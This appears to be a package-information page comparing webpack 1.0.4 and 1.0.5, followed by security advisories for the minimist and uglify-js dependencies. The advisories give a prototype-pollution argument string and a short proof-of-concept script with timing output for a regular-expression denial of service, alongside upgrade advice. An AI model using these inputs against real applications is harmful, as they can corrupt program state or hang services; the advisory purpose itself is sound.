Webpack versions 1.0.4 and 1.0.5 are closely related iterations of a module bundler designed for modern web development. Both versions offer the core functionality of packaging CommonJs and AMD modules for browser compatibility, enabling developers to split codebases into manageable bundles for on-demand loading. Both versions support loaders for preprocessing various file types like JSON, Jade, CoffeeScript, CSS, and Less, offering flexibility in project structure and tooling.
The dependency lists for both versions are identical, including crucial packages like async, clone, mkdirp, esprima, tapable, optimist, uglify-js, webpack-core, base64-encode, enhanced-resolve, and node-libs-browser. Similarly, their devDependencies for testing and development, such as mocha, should, express, and various loaders like css-loader and coffee-loader, are consistent.
The primary difference lies in the releaseDate. Version 1.0.5 was released on March 1, 2014, at 19:12:48.559Z, while version 1.0.4 was released on the same day at 12:39:14.482Z. This small time gap suggests that version 1.0.5 is likely a patch release addressing minor bugs or optimizations identified shortly after the initial 1.0.4 release. For developers, upgrading from 1.0.4 to 1.0.5 is recommended to benefit from these potential minor improvements and ensure the most stable experience within the 1.0.x series. If no issues are encountered in 1.0.4, the upgrade might not be critical, but adopting the latest patch offers the best practice for software maintenance.
All the vulnerabilities related to the version 1.0.5 of the package
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.